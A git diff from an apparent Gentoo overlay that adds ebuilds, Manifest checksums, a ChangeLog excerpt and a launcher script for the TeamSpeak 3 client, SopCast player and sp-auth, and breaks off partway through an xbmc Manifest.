+teamspeak-client-bin-3.0.0_beta21.ebuild: + version bump + +*teamspeak-client-bin-3.0.0_beta20 (16 May 2010) + + 16 May 2010; Christian Parpart + +teamspeak-client-bin-3.0.0_beta20.ebuild: + version bump + + 16 Feb 2010; Samuli Suominen metadata.xml: + Remove sound from metadata.xml. + +*teamspeak-client-bin-3.0.0_beta17 (15 Mar 2010) + + 15 Mar 2010; Christian Parpart + +teamspeak-client-bin-3.0.0_beta17.ebuild: + version bump + + 08 Feb 2010; Christian Parpart + -teamspeak-client-bin-3.0.0_beta5.ebuild, + -teamspeak-client-bin-3.0.0_beta9.ebuild, + -teamspeak-client-bin-3.0.0_beta11.ebuild, + -teamspeak-client-bin-3.0.0_beta12.ebuild, + -teamspeak-client-bin-3.0.0_beta13.ebuild: + cleanup + + 08 Feb 2010; Christian Parpart + +teamspeak-client-bin-3.0.0_beta15.ebuild: + version bump, closes #303147 + +*teamspeak-client-bin-3.0.0_beta13 (04 Feb 2010) + + 04 Feb 2010; Christian Parpart + +teamspeak-client-bin-3.0.0_beta13.ebuild: + version bump + +*teamspeak-client-bin-3.0.0_beta12 (21 Jan 2010) + + 21 Jan 2010; Christian Parpart + +teamspeak-client-bin-3.0.0_beta12.ebuild: + version bump + +*teamspeak-client-bin-3.0.0_beta11 (20 Jan 2010) + + 20 Jan 2010; Christian Parpart + +teamspeak-client-bin-3.0.0_beta11.ebuild: + version bump plus license update + +*teamspeak-client-bin-3.0.0_beta9 (03 Jan 2010) + + 03 Jan 2010; Christian Parpart + +teamspeak-client-bin-3.0.0_beta9.ebuild: + version bump + +*teamspeak-client-bin-3.0.0_beta5 (23 Dec 2009) + + 23 Dec 2009; Christian Parpart +files/teamspeak3, + +teamspeak-client-bin-3.0.0_beta5.ebuild, +metadata.xml: + initial commit of TeamSpeak Client, version 3 (beta) - thanks to bug + #297577 + diff --git a/media-sound/teamspeak-client-bin/Manifest b/media-sound/teamspeak-client-bin/Manifest new file mode 100644 index 00000000..2edc9714 --- /dev/null +++ b/media-sound/teamspeak-client-bin/Manifest @@ -0,0 +1,12 @@ +DIST TeamSpeak3-Client-linux_amd64-3.0.0-rc1.run 33158343 SHA256 1c413bedca528478ca0cf9eb99892f3ccf87c3282db28bcf4d33a7185283a148 +DIST TeamSpeak3-Client-linux_amd64-3.0.10.run 32877660 SHA256 52d1da2d02e3245968058fdd5a8a5c7542964fe18a3bf6e69cb58ede653ea99a SHA512 b449a40c3133cac06177b1cc0912400a85a4b43eb3632d939b954bac7e86f0373738387e82eae6588bd67d85ac1bb1258b70ccf48559e32b8f5c482a349fa98c WHIRLPOOL d10edbf072218e0f5374948bf3f09fd247c0fa90b3ac01bfad37c6c2f64cdb44135305c12f360e8604ec3c35743de120b14f8bc190bf91964e2fa58470000ae3 +DIST TeamSpeak3-Client-linux_amd64-3.0.13.1.run 33207717 SHA256 211aa921c73369e074e59aa4b664c9d288f98a5f1172f9f8b006a46df5dd4856 SHA512 3d5fc5b419cfd683a0c7787f3ec4b6df14bd944db85eb0abffdbc2b14e5c913cbf77353b46cf81c89f8a34127d362f1312c3e7d6a21b9087b78a171ce0349d9c WHIRLPOOL d2ca0eb74ea5393941dc0613c5ff8462bbae484d61a8d1e2a3e7a04905e777d328e34e073c7a2394d0be6385c92e386d74617c39f7ab6fcb47b13ba5201538c0 +DIST TeamSpeak3-Client-linux_amd64-3.0.6.run 31690990 SHA256 091cffc3377b71f631d91960590e88f8cc6eb257f9629dc1caf37157fc9cbc25 +DIST TeamSpeak3-Client-linux_amd64-3.0.8.1.run 31777722 SHA256 1e82512a580b98186ceba0b5eb0a7e44e4e40b9a52ecf48f27ec9b9b352ed2a1 +DIST TeamSpeak3-Client-linux_amd64-3.0.9.2.run 32255440 SHA256 e380bfe465194c2284ab492ec23dec2ecdcace40d0dadc039486d97d48f9c019 SHA512 359c1c3297b21394173598eca3a257fb79519d654ffd827c8859506653683c124bcd87f123f590e565dd1044317029bd851065af357b1ad35fc842d3c1ea5857 WHIRLPOOL ee6295a43f3c523dd2ef2203b61ad055690aff0c804d97e506d882dc35dbd93bf6a1a322b08241eb0bcbd880feb0146a9113aab2396be315b963223fb67dcbc4 +DIST TeamSpeak3-Client-linux_x86-3.0.0-rc1.run 33420069 SHA256 cc43f56de2c27d2951e19cff461881821eacb1f9f1f4f89811ea3ce42f8b5a12 +DIST TeamSpeak3-Client-linux_x86-3.0.10.run 33107071 SHA256 ae1b40a8d5c763d2a2dcbd3036ceeabacd4d233bb59ef231e49d8a5be04e469c SHA512 3607d681eb1c55ee66a9157f06fd22f44ebafa97d2b7aa7d5dd49817381258311e93733ec5af1eba1de3efa51f9fba5cdea4b8098ec3c842583b184afcb53a2a WHIRLPOOL 72f1a696ac910bc7003f0b849a1f7f575f85b20631b0341e98d4467077d017992f7e7350e25fd7880147195bf674c79b938872958064ac6e32d7dc3541c92c87 +DIST TeamSpeak3-Client-linux_x86-3.0.13.1.run 33947497 SHA256 0162f1cef570acde7245fb62c3ed52aa606234375a14d0bcce35500b183d9cc2 SHA512 32af801f73de876e667f31b8046baf9df6498a1ad6f71de2ca33257ee685abc80f200750e4c8e6cb5931635d31f261de9cb409f930c1e99e42be5f9543dbf062 WHIRLPOOL 69964e6b757f77c9ba87b3efa19b55ced5aa60a0ee50af3011426682832d307e4eb79554d8928f5647556258d40808eb5259d3606c7b2df27dcdb95c19078482 +DIST TeamSpeak3-Client-linux_x86-3.0.6.run 31970375 SHA256 1cf285ec654a8a084cf7ab3e2ef10607fe4d7b5a4d6b5c8d568078cb6534e1cf +DIST TeamSpeak3-Client-linux_x86-3.0.8.1.run 32058260 SHA256 929f8ab55b1c8a3581a371f36cdcd5fa329e7d23a9f4eca7b551199b450a41ce +DIST TeamSpeak3-Client-linux_x86-3.0.9.2.run 32500444 SHA256 df97e3af400bc5b3a3ff656270c3bb6a28b2907d03c38aed6e0cc7c34243301c SHA512 5a090a17986e01a1fe993fb34f9760954ee16dd7c0ddcf4fa8129bb54fb47becdfe731e463254f3330168733a0566aa2171e4ac6d1d95922ca747246278dc3a8 WHIRLPOOL be5ea70844b517f7ec47b00c4212641e842b1ea71c93369d22699ec1d862c0d72df03f334118a01d90c987fe9c075de01c658794a93daeb1006e56e0ccf4f3d4 diff --git a/media-sound/teamspeak-client-bin/files/teamspeak3 b/media-sound/teamspeak-client-bin/files/teamspeak3 new file mode 100644 index 00000000..d598f01d --- /dev/null +++ b/media-sound/teamspeak-client-bin/files/teamspeak3 @@ -0,0 +1,10 @@ +#! /bin/sh + +BASEDIR="/opt/teamspeak3-client" + +export LD_LIBRARY_PATH="${BASEDIR}${LD_LIBRARY_PATH:+:}${LD_LIBRARY_PATH}" + +# work around DT_RPATH (.) security issue by chdir'ing into expected $LD_LIBRARY_PATH +cd "${BASEDIR}" + +exec "${BASEDIR}/ts3client" "$@" diff --git a/media-sound/teamspeak-client-bin/metadata.xml b/media-sound/teamspeak-client-bin/metadata.xml new file mode 100644 index 00000000..8d95b220 --- /dev/null +++ b/media-sound/teamspeak-client-bin/metadata.xml @@ -0,0 +1,8 @@ + + + + + trapni@gentoo.org + + TeamSpeak Client (Voice Communication Software) + diff --git a/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.0_rc1.ebuild b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.0_rc1.ebuild new file mode 100644 index 00000000..ae6ad880 --- /dev/null +++ b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.0_rc1.ebuild @@ -0,0 +1,47 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.0_rc1.ebuild,v 1.4 2012/04/14 11:14:33 pacho Exp $ + +EAPI=1 + +inherit eutils unpacker + +DESCRIPTION="TeamSpeak Client - Voice Communication Software" +HOMEPAGE="http://teamspeak.com/" +LICENSE="teamspeak3" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" +RESTRICT="strip" +PROPERTIES="interactive" + +SRC_URI=" + amd64? ( http://ftp.4players.de/pub/hosted/ts3/releases/rc${PV/3.0.0_rc/}/TeamSpeak3-Client-linux_amd64-${PV/_/-}.run ) + x86? ( http://ftp.4players.de/pub/hosted/ts3/releases/rc${PV/3.0.0_rc/}/TeamSpeak3-Client-linux_x86-${PV/_/-}.run ) +" + +DEPEND="" +RDEPEND="${DEPEND} + x11-libs/qt-gui:4 + >=x11-libs/libXinerama-1.0.2" + +src_install() { + local dest="${D}/opt/teamspeak3-client" + + mkdir -p "${dest}" + + # remove the qt-libraries as they just cause trouble with the system's Qt + # see bug #328807 + rm "${WORKDIR}"/libQt* || die + + cp -R "${WORKDIR}/"* "${dest}/" || die + + exeinto /usr/bin + doexe "${FILESDIR}/teamspeak3" + + mv "${dest}/ts3client_linux_"* "${dest}/ts3client" + + make_desktop_entry teamspeak3 TeamSpeak3 \ + "/opt/teamspeak3-client/gfx/default/24x24_connect.png" \ + Network +} diff --git a/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.10.ebuild b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.10.ebuild new file mode 100644 index 00000000..2feea187 --- /dev/null +++ b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.10.ebuild @@ -0,0 +1,47 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.6.ebuild,v 1.1 2012/05/09 11:49:45 polynomial-c Exp $ + +EAPI=1 + +inherit eutils unpacker + +DESCRIPTION="TeamSpeak Client - Voice Communication Software" +HOMEPAGE="http://teamspeak.com/" +LICENSE="teamspeak3" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" +RESTRICT="strip" +PROPERTIES="interactive" + +SRC_URI=" + amd64? ( http://ftp.4players.de/pub/hosted/ts3/releases/${PV}/TeamSpeak3-Client-linux_amd64-${PV/_/-}.run ) + x86? ( http://ftp.4players.de/pub/hosted/ts3/releases/${PV}/TeamSpeak3-Client-linux_x86-${PV/_/-}.run ) +" + +DEPEND="" +RDEPEND="${DEPEND} + dev-qt/qtgui:4 + >=x11-libs/libXinerama-1.0.2" + +src_install() { + local dest="${D}/opt/teamspeak3-client" + + mkdir -p "${dest}" + + # remove the qt-libraries as they just cause trouble with the system's Qt + # see bug #328807 + rm "${WORKDIR}"/libQt* || die + + cp -R "${WORKDIR}/"* "${dest}/" || die + + exeinto /usr/bin + doexe "${FILESDIR}/teamspeak3" + + mv "${dest}/ts3client_linux_"* "${dest}/ts3client" + + make_desktop_entry teamspeak3 TeamSpeak3 \ + "/opt/teamspeak3-client/gfx/default/24x24_connect.png" \ + Network +} diff --git a/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.13.1.ebuild b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.13.1.ebuild new file mode 100644 index 00000000..055415aa --- /dev/null +++ b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.13.1.ebuild @@ -0,0 +1,47 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.6.ebuild,v 1.1 2012/05/09 11:49:45 polynomial-c Exp $ + +EAPI=1 + +inherit eutils unpacker + +DESCRIPTION="TeamSpeak Client - Voice Communication Software" +HOMEPAGE="http://teamspeak.com/" +LICENSE="teamspeak3" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" +RESTRICT="strip" +PROPERTIES="interactive" + +SRC_URI=" + amd64? ( http://ftp.4players.de/pub/hosted/ts3/releases/${PV}/TeamSpeak3-Client-linux_amd64-${PV/_/-}.run ) + x86? ( http://ftp.4players.de/pub/hosted/ts3/releases/${PV}/TeamSpeak3-Client-linux_x86-${PV/_/-}.run ) +" + +DEPEND="" +RDEPEND="${DEPEND} + x11-libs/qt-gui:4 + >=x11-libs/libXinerama-1.0.2" + +src_install() { + local dest="${D}/opt/teamspeak3-client" + + mkdir -p "${dest}" + + # remove the qt-libraries as they just cause trouble with the system's Qt + # see bug #328807 + rm "${WORKDIR}"/libQt* || die + + cp -R "${WORKDIR}/"* "${dest}/" || die + + exeinto /usr/bin + doexe "${FILESDIR}/teamspeak3" + + mv "${dest}/ts3client_linux_"* "${dest}/ts3client" + + make_desktop_entry teamspeak3 TeamSpeak3 \ + "/opt/teamspeak3-client/gfx/default/24x24_connect.png" \ + Network +} diff --git a/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.6.ebuild b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.6.ebuild new file mode 100644 index 00000000..055415aa --- /dev/null +++ b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.6.ebuild @@ -0,0 +1,47 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.6.ebuild,v 1.1 2012/05/09 11:49:45 polynomial-c Exp $ + +EAPI=1 + +inherit eutils unpacker + +DESCRIPTION="TeamSpeak Client - Voice Communication Software" +HOMEPAGE="http://teamspeak.com/" +LICENSE="teamspeak3" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" +RESTRICT="strip" +PROPERTIES="interactive" + +SRC_URI=" + amd64? ( http://ftp.4players.de/pub/hosted/ts3/releases/${PV}/TeamSpeak3-Client-linux_amd64-${PV/_/-}.run ) + x86? ( http://ftp.4players.de/pub/hosted/ts3/releases/${PV}/TeamSpeak3-Client-linux_x86-${PV/_/-}.run ) +" + +DEPEND="" +RDEPEND="${DEPEND} + x11-libs/qt-gui:4 + >=x11-libs/libXinerama-1.0.2" + +src_install() { + local dest="${D}/opt/teamspeak3-client" + + mkdir -p "${dest}" + + # remove the qt-libraries as they just cause trouble with the system's Qt + # see bug #328807 + rm "${WORKDIR}"/libQt* || die + + cp -R "${WORKDIR}/"* "${dest}/" || die + + exeinto /usr/bin + doexe "${FILESDIR}/teamspeak3" + + mv "${dest}/ts3client_linux_"* "${dest}/ts3client" + + make_desktop_entry teamspeak3 TeamSpeak3 \ + "/opt/teamspeak3-client/gfx/default/24x24_connect.png" \ + Network +} diff --git a/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.8.1.ebuild b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.8.1.ebuild new file mode 100644 index 00000000..055415aa --- /dev/null +++ b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.8.1.ebuild @@ -0,0 +1,47 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.6.ebuild,v 1.1 2012/05/09 11:49:45 polynomial-c Exp $ + +EAPI=1 + +inherit eutils unpacker + +DESCRIPTION="TeamSpeak Client - Voice Communication Software" +HOMEPAGE="http://teamspeak.com/" +LICENSE="teamspeak3" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" +RESTRICT="strip" +PROPERTIES="interactive" + +SRC_URI=" + amd64? ( http://ftp.4players.de/pub/hosted/ts3/releases/${PV}/TeamSpeak3-Client-linux_amd64-${PV/_/-}.run ) + x86? ( http://ftp.4players.de/pub/hosted/ts3/releases/${PV}/TeamSpeak3-Client-linux_x86-${PV/_/-}.run ) +" + +DEPEND="" +RDEPEND="${DEPEND} + x11-libs/qt-gui:4 + >=x11-libs/libXinerama-1.0.2" + +src_install() { + local dest="${D}/opt/teamspeak3-client" + + mkdir -p "${dest}" + + # remove the qt-libraries as they just cause trouble with the system's Qt + # see bug #328807 + rm "${WORKDIR}"/libQt* || die + + cp -R "${WORKDIR}/"* "${dest}/" || die + + exeinto /usr/bin + doexe "${FILESDIR}/teamspeak3" + + mv "${dest}/ts3client_linux_"* "${dest}/ts3client" + + make_desktop_entry teamspeak3 TeamSpeak3 \ + "/opt/teamspeak3-client/gfx/default/24x24_connect.png" \ + Network +} diff --git a/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.9.2.ebuild b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.9.2.ebuild new file mode 100644 index 00000000..055415aa --- /dev/null +++ b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.9.2.ebuild @@ -0,0 +1,47 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.6.ebuild,v 1.1 2012/05/09 11:49:45 polynomial-c Exp $ + +EAPI=1 + +inherit eutils unpacker + +DESCRIPTION="TeamSpeak Client - Voice Communication Software" +HOMEPAGE="http://teamspeak.com/" +LICENSE="teamspeak3" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" +RESTRICT="strip" +PROPERTIES="interactive" + +SRC_URI=" + amd64? ( http://ftp.4players.de/pub/hosted/ts3/releases/${PV}/TeamSpeak3-Client-linux_amd64-${PV/_/-}.run ) + x86? ( http://ftp.4players.de/pub/hosted/ts3/releases/${PV}/TeamSpeak3-Client-linux_x86-${PV/_/-}.run ) +" + +DEPEND="" +RDEPEND="${DEPEND} + x11-libs/qt-gui:4 + >=x11-libs/libXinerama-1.0.2" + +src_install() { + local dest="${D}/opt/teamspeak3-client" + + mkdir -p "${dest}" + + # remove the qt-libraries as they just cause trouble with the system's Qt + # see bug #328807 + rm "${WORKDIR}"/libQt* || die + + cp -R "${WORKDIR}/"* "${dest}/" || die + + exeinto /usr/bin + doexe "${FILESDIR}/teamspeak3" + + mv "${dest}/ts3client_linux_"* "${dest}/ts3client" + + make_desktop_entry teamspeak3 TeamSpeak3 \ + "/opt/teamspeak3-client/gfx/default/24x24_connect.png" \ + Network +} diff --git a/media-tv/sopcast-player/Manifest b/media-tv/sopcast-player/Manifest new file mode 100644 index 00000000..8a2effbb --- /dev/null +++ b/media-tv/sopcast-player/Manifest @@ -0,0 +1,2 @@ +DIST sopcast-player-0.8.5.tar.gz 406992 SHA256 a7205b0104073362eec37bb865161dbe0e8d997718ae45710e19093fda8dd50a SHA512 956eb93705366daca9e10ad14c0dec0586df402ebe4d0787666cb85901c798b8029ec8ff09ec908d14439a819c600c59589f6f6346287dc959161f09a79c3c68 WHIRLPOOL 69df619d8891cafb6571d54a2e712e5e8aa9a3587d3585b052f399cbcebd90954fe7c759bfc00559f43e1abea76a6ecb9ab2e71a556da6409be99afd119d93a8 +EBUILD sopcast-player-0.8.5.ebuild 902 SHA256 748dd974a8833b92eda8226416a23d64548a319d5e8ef64afaee5fe75babe0df SHA512 23b087cb3006cf625a712d372194d60b9c3f2698b886c6bccee79c7a135ee62224b2a0b8a3ecddd2d0b635a85fd217fac609629281f29fb9623c1d6b344977f0 WHIRLPOOL bc4e7f422569a5cc740ba4fc30f391034286a3873e61108e6594262e148b35c4db81cb159926d719c549bf4e41bf8590e35959df867d980b05f5ffd3bff6a0d7 diff --git a/media-tv/sopcast-player/sopcast-player-0.8.5.ebuild b/media-tv/sopcast-player/sopcast-player-0.8.5.ebuild new file mode 100644 index 00000000..4afbf688 --- /dev/null +++ b/media-tv/sopcast-player/sopcast-player-0.8.5.ebuild @@ -0,0 +1,40 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=3 + +DESCRIPTION="A GTK+ front-end for the SopCast P2P TV player." +HOMEPAGE="http://www.sopcast.com/" +SRC_URI="https://sopcast-player.googlecode.com/files/sopcast-player-0.8.5.tar.gz" + +LICENSE="" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND="dev-util/debhelper + sys-devel/gettext + dev-lang/python + dev-python/pygtk + dev-python/pygobject + dev-python/setuptools + dev-util/desktop-file-utils + x11-themes/hicolor-icon-theme + dev-util/wxglade + dev-python/pygtk + dev-python/pyglet + dev-python/pyvlc + sys-libs/libstdc++-v3 + virtual/libstdc++ + media-video/vlc" +RDEPEND="${DEPEND}" + +S=${WORKDIR}/${MY_P} + +src_install() { + exeinto /opt/${PN} + newexe sopcast-player ${PN} || die "newexe failed" + dosym /opt/${PN}/${PN} /usr/bin/${PN} + dodoc Readme || die "dodoc failed" +} diff --git a/media-tv/sp-auth/Manifest b/media-tv/sp-auth/Manifest new file mode 100644 index 00000000..6d8d8af8 --- /dev/null +++ b/media-tv/sp-auth/Manifest @@ -0,0 +1 @@ +DIST sp-auth-3.2.6.tar.gz 345856 SHA256 6ea333b51898ee61f37903f20503358e8ee328cbd8b49d910fa7e0f23bf8a4a0 SHA512 9d9c547df24b30ffe7ee33d0783005eff3f8b90d0955f58faa8380102e10de8f9ab6098ff53ecacaa3c275bf7b206b98f6ae9a365abb362531a3d28888e666af WHIRLPOOL 21b7269c41e43ec292302bca97bf9d65f506649aaed751fe2777199cf866e94cdd324294d60a1c24202eb2e973214406f167b50cfb55282289b301ca3d9c4e0b diff --git a/media-tv/sp-auth/sp-auth-3.2.6.ebuild b/media-tv/sp-auth/sp-auth-3.2.6.ebuild new file mode 100644 index 00000000..e2d411dc --- /dev/null +++ b/media-tv/sp-auth/sp-auth-3.2.6.ebuild @@ -0,0 +1,33 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=2 + +inherit eutils + +MY_P="sp-sc-auth" + +DESCRIPTION="SopCast free P2P Internet TV binary" +LICENSE="SopCast-unknown-license" +HOMEPAGE="http://www.sopcast.com/" +SRC_URI="http://sopcast-player.googlecode.com/files/${PN}-${PV}.tar.gz" + +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" +RESTRICT="strip" + +# All dependencies might not be listed, since the binary blob's homepage only lists libstdc +RDEPEND="amd64? ( app-emulation/emul-linux-x86-compat ) + x86? ( >=virtual/libstdc-3.3 )" + +DEPEND="${RDEPEND}" + +S=${WORKDIR}/${PN} + +src_install() { + exeinto /usr/bin/ + newexe sp-sc-auth ${MY_P} || die "newexe failed" + dodoc Readme || die "dodoc failed" +} diff --git a/media-tv/xbmc/Manifest b/media-tv/xbmc/Manifest new file mode 100644 index 00000000..57e32828 --- /dev/null +++ b/media-tv/xbmc/Manifest @@ -0,0 +1,26 @@ +AUX xbmc-10.0-python-2.7.patch 30308 SHA256 8f6b2a0a962ad250fc317542d0fa180585d3c9e630ca98f99299b6f750555085 SHA512 dca28d98f89f22e11fcae10253b4bb5aa41a663e0d963449e27c0c9996630f64ee027f70edd41e6adc040567ccb8a12ec8a5e4b18d7d10ab56e081da9c392009 WHIRLPOOL e8de7861b41dd183469f66cae542d0ba8bfcb2a34f57ad2d3bb05b568469da32588efbf67ec0666fc5a9d01f3a51779d9929b969eb14d8cda162b16f7d0ba3c7 +AUX xbmc-10.1-gcc-4.6.patch 4295 SHA256 cef1154bc3352b215bfece1a749d901d43ec7aa0c6d050921ae8745c553e84c9 SHA512 aca5c7ca5aaaceaa376e357b987dcdfc08e5772819778f8cc173711b54f2539fca19f4ba7c5251f374515f4ed7080c3a926259867115dd4984943bcfffbdd14c WHIRLPOOL 2f6742addc4d59f5c10c510fdc39d04ed4bb96a185e3cf05d6313236b28ca011cd821791f6775c7c30d808f2558fd174af92e2ce6bb09e4c2f05a562d1f03714 +AUX xbmc-10.1-headers.patch 294 SHA256 8b8e86cf7edef227e8267c52d60545b753eea11261f078131ee30f9eac8bb002 SHA512 3a355ed831dea0c2ec85ff25c7abd57003dfe74eb892bf4776dadc4b27e046358632fe61adf9afc4e6b27bb44abc859970a3c14c648a2ae28b58d11c4d0a46fa WHIRLPOOL f9894204a8e0850438d4bc0dcd7daea0e9c4e64780f3478f8b304832caf1cda52080d89b5c3503e50a8289a934134d21e77f8afd0c7da8550ea85fb4122810d7 +AUX xbmc-10.1-libpng-1.5.patch 19253 SHA256 1a0985b91ee9862a538a43689d005dc88d49bf5a70d917896fb69ee416369ff7 SHA512 40ce41d6b27e5cd6df82f6d6ba24ee7bc39f13a735cbb9746cf9818dafa9ae16526b38e84be98bd69eb57b52e2201317529b1546e5bf694b10dfe671303a4614 WHIRLPOOL 6f17fc198204b0ff97be0294c2400ac41cce16a4cec55dfe0657b69da9a57f6c36beefc7f6a7c499aab79e8d6eacd715e09f4d35e00d657e2b0d10f397bba15e +AUX xbmc-11.0-libpng-1.5.patch 18833 SHA256 83b49d44b7855dcb2f7d34e2e9628f4c1f8e06ae8f9e94ac06a6036620705daa SHA512 b014e37abb3e8b5c4c2fc0a4070fb71d562b3b40c6a844dad85cff3cea442c42bb78f88004d4f7b3767fdb12c530ac660162247fd44ca3e1ac42592b004b06c0 WHIRLPOOL 16b24676f7ac06a59a534e79c981c34c105bed68f9ab4b465e3fa51372ed2025ea9706a988df8d47f18677d36f6dedd8ff47aa34f0e74c89015c746bdea1953e +AUX xbmc-11.0-no-exec-stack.patch 807 SHA256 e36c83746838dd362512a046dc066c0f3fdc1252289b2761be381f84262cab78 SHA512 d0d4c2d4bb257c722ec40470fb6c8da59033009152598e69133b6184b25da36debf42f86859389c878a072603f3d583e28a52519e8dca47d9bdf7edd5f9e44c5 WHIRLPOOL d18dd387fe55b18be78fdad08b0a4319c2a5ccd161f1dfc0d5ab8015d88c5842780415c903a098a4683524658fc31c07e285e61fcff04ad6e4777c77e5691f38 +AUX xbmc-11.0_beta1-libpng-1.5-fix-plt-trn-get.patch 1659 SHA256 fed3ba39de959c46bc43431b229347c187690848ccd3bdc823bb7291bc425e84 SHA512 b4cbbdaa54a098d6b98d686966ecbf566fa86905d184b2bb4a3b97c51f3b2171249dfd0451a31971f137bc7ec8602e1859abf757d4ef5a5c1563cbb3726a4574 WHIRLPOOL e6c31d89fa1d214d5e0d2f866a5f6fd321791057c9bfdf05e36509fb60e8578a598203f7f121ad9025a71c1de31fd3693af68a8bedca92bf7f2ff7138c307e5d +AUX xbmc-11.0_beta1-libpng-1.5-headers.patch 450 SHA256 28765af28836502ce2df92c00b0df27733137111f7fbb11a5cd0b5b7c47b0713 SHA512 494e85af4b87db1cb476d6158fc4412016ee3b385cb55beadf4ac176d9be55d637faac43c35b97ec7856ff48b230f0ab2080265b4e9997b27198a02ace9071ac WHIRLPOOL 5e57311cd42e5689b4b8ab5e42019e115c2f2962eccfc3a0c6453c52926580a2e0905d216b82e71b546f536f625918627084cbc30ac8d188d346fa27e6a2cf82 +AUX xbmc-11.0_beta1-libpng-1.5.patch 18687 SHA256 359cc4893cc6922b86269770c11c5e80fd5b33e711ebf1645b232e4f3fc91c28 SHA512 c20e7d04773f66353856df5ce38b1d695df26d235921d01311460789f3215f49a1421616f4f98b33786a7aac09526d720ae442a637c378ee081aa19be706cf44 WHIRLPOOL cd4945e373cbb7f6ab501b13a0ab35fece28bb97cec2f3d85b700961fbd8d78202a531c89bcbca81020834a28756e4a18c4abb5e53465be34af77d6d2f3134b1 +AUX xbmc-9.11-TexturePacker-parallel-build.patch 357 SHA256 a9b990cdd5473e72cc83cda36cc9faaf67e97649cec45af9c529455464b12d43 SHA512 b6f4f4b8c30643e7b5333782cb9ba1a524e85bdefb5ae2fed373d37d1281eeb2835265bc20f99916a7c2dda79069463d1abcfd40870d3264b26192c3ba5332f2 WHIRLPOOL 68ec8b9168960564af5d2fbe93e8eaf91978f8b0c476cee2f52f1209c567b2a77e9193264226d172fa7c1dee24d5405e5dcfc0e79d8f7257e92227fc40662198 +AUX xbmc-9.11-jpeg-speedup.patch 804 SHA256 3115b8668b60e307536a9314fc02c837d4f94f89571d403761b614a22447e2d8 SHA512 6ad4468f0be722070d27b339de062aea85efff2bf1217767c86f2e8249145ba4fbded635a577ae2e30233d86834cb8a8067f14e349cbbb557b48b02037516ba6 WHIRLPOOL 2621a243e8b49a9608a3736319cf101bc00e48fcbc60ca53264af7e4cf666ae49ae82803225d955ba83fedb4df416cad0ea97e4e8e568c2af55a0cbf8366c659 +AUX xbmc-9.11-libpng14.patch 4263 SHA256 0516a466f2646867478781251d665e87f6f0697fcd9ce29b91c87194fafc7da6 SHA512 fe07dbb7ad2ef7a511d00e63f697f018f2af06b601f0bc1cd70a6e1d1232026c206539a893da02992510232e7e194d6a23ad4e32dad529796e232cd07743647d WHIRLPOOL 39e2303850b732a2e4f4c5254cdd152162995c9d34140c0f9312951f4b19e54d626d7b976fc1472b1fa9bd8c11849acb0bc917a8abec657e74b185b883562eb7 +AUX xbmc-9.11-shader-upscalers.patch 29024 SHA256 965099c217920d5db259944adc4250ed73e4b08ddcd7b0d88d843c9a9a41d396 SHA512 0f6628a667178672519bc6ea6aa594825d2443df5ec3fbedb99f1abb4aa935670824f46792057b467e9f250722ae0ba41f9071f17afedf23e9908bb9f7db9bf2 WHIRLPOOL d80b9b2c8d9e9761c74a3f3ea8007f4835d057da8a9612785939c59edca90234d26ac41a21fc93a66b0fd02612380e3aa36111004ec5e90f2cd5b475f2790bdb +AUX xbmc-9.11-use-cdio-system-headers-on-non-win32.patch 3623 SHA256 ceb6952025c8baf5bb4eed18380c9bf6022893407f22a3e587eebd657863ab83 SHA512 1889fdf1199066cd3fac1bf11179e49c1841b85a9c654ffefb9e67966debecec276ae5cfa2c4b07dd3334e362bbc4742da29204308ff7dea12b650022da7c71a WHIRLPOOL cd05c51666472c741e3d321fa689f9b58c952d81b2c81d3636d474b81bed59c4401017580cd83880be72cf0aba37e41c5ef73bc9295538a37c626ee61468c3f6 +AUX xbmc-9.11-wavpack.patch 2637 SHA256 